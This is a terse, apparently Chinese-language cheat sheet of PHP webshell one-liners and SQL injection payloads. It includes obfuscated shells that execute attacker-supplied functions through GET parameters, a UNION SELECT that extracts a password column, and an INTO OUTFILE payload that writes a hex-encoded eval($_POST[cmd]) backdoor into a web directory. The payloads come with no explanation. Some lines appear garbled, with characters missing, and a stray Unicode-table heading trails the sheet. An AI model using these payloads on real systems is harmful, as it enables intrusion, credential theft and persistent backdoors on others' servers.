php shell-1

一.
  1. <?
  2. $_=“”;
  3. $_[+""]=;
  4. $_=“$_”.“”;
  5. $_=($_[+""]|“”).($_[+""]|“”).($_[+""]^“”);
  6. ?>
  7. <?=${‘_’.$_}['_'](${‘_’.$_}['__']);?>
二.
  1. <?=($_=@$_GET[2]).@$_($_GET[1])?>

injection -1

  1. uid=-1 UNION SELECT 1,pwd,3,4,5,6,7,8,9,10,11 from test.table
  2. -1 UNION SELECT 1,0x3c3f706870206576616c28245f504f53545b636d645d293f3e,3,4,5,6,7,8,9,10,11 into outfile ‘e:/web/1.php’

Unicode编码表/0000-0FFF

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